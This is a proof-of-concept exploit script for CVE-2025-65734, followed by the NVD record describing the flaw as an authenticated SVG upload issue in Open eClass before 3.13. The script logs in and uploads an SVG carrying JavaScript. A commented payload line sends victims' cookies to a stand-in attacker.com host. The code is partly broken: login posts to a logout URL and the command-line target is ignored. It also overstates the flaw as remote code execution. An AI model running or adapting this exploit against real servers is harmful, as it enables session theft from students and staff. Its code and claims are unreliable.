CVE-2025-65734

import requests import sys # CVE-2025-65734 PoC - Malicious SVG File Upload # Target: gunet Open eClass < 3.13 # Module: Courses/Work Assignments TARGET_URL = "http://target-server.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/index.php?logout" UPLOAD_URL = f"{TARGET_URL}/modules/work/work.php" MALICIOUS_SVG = """<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="300" height="200"> <script type="text/javascript"> // Malicious JavaScript - XSS payload alert('XSS - CVE-2025-65734'); // For RCE via SVG, this would need server-side processing // Example: <script>document.location='http://attacker.com/steal?c='+document.cookie</script> </script> <rect width="300" height="200" fill="red"/> <text x="10" y="100" fill="white">Malicious SVG</text> </svg>""" def login(session, username, password): """Login to Open eClass with low-privilege account""" login_data = { 'username': username, 'password': password, 'submit': 'Login' } response = session.post(LOGIN_URL, data=login_data) return 'login' not in response.url.lower() def upload_malicious_svg(session): """Upload malicious SVG file via Work Assignments module""" files = { 'userfile': ('malicious.svg', MALICIOUS_SVG, 'image/svg+xml') } data = { 'id': '1', # Course ID 'assignment_id': '1', # Assignment ID 'submit': 'Submit' } response = session.post(UPLOAD_URL, files=files, data=data) return response def main(): if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print("[*] Logging in to Open eClass...") if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[*] Uploading malicious SVG file...") response = upload_malicious_svg(session) if response.status_code == 200: print("[+] SVG file uploaded successfully") print("[*] Access the file at: " + response.url) print("[*] If server executes SVG as PHP, remote code execution is possible") else: print("[-] Upload failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-65734", "sourceIdentifier": "[email protected]", "published": "2026-03-16T17:16:28.137", "lastModified": "2026-04-17T21:01:15.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated arbitrary file upload vulnerability in the Courses/Work Assignments module of gunet Open eClass v3.11, and fixed in v3.13, allows attackers to execute arbitrary code via uploading a crafted SVG file."}, {"lang": "es", "value": "Una vulnerabilidad de carga arbitraria de archivos autenticada en el módulo de Cursos/Asignaciones de Trabajo de gunet Open eClass v3.11, y corregida en la v3.13, permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo SVG manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openeclass:openeclass:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.11", "versionEndExcluding": "3.13", "matchCriteriaId": "08E7B986-4415-4530-A12F-B14BC96AC59F"}]}]}], "references": [{"url": "https://github.com/apostolides", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://huntr.com/bounties/540f743c-fa3e-4be6-9f85-439fff2fc5fe", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://huntr.com/users/apostolides", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.linkedin.com/in/thanos-apostolidis-3255591b1/", "source": "[email protected]", "tags": ["Not Applicable"]}]}}